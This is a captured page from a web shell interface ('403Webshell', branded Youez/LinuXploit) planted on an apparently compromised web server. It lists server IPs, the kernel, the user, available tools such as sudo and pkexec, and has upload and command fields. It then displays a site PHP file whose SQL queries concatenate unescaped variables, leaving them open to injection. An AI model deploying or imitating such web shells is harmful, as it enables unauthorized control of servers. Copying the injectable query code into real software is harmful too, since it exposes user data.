403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/mod_fav_check.php
<?php

	if ($member_id > 0) {

		if (isset($img) && is_numeric($img)) {
			$imageCheck = " AND img_num = '" . $img . "'";
			$imageID = "-" . $img;
		} else {
			$imageCheck = "";
			$imageID = "";
		}

		$favorite_check_sql = mysql_query("SELECT * FROM `cms_members_fav` WHERE `member_id` = '" . $member_id . "' AND `content_type` = '" . $content_type . "' AND `content_id` = '" . $content_id . "'" . $imageCheck . " LIMIT 1") or die(mysql_error());

		if (mysql_num_rows($favorite_check_sql) > 0) {
			$favorite_image = 'fav_rem.jpg';
		} else {
			$favorite_image = 'fav_add.jpg';
		}

		$favorite = '<a href="javascript:void(0)"><img src="images/' . $favorite_image . '" id="favorite" data="' . $content_type . '-' . $content_id . $imageID . '" width="22" height="19" border="0"></a>';

	} else {
		$favorite = '<a href="join.php"><img src="images/fav_add.jpg" width="22" height="19" border="0"></a>';
	}          





       
?>

Youez - 2016 - github.com/yon3zu
LinuXploit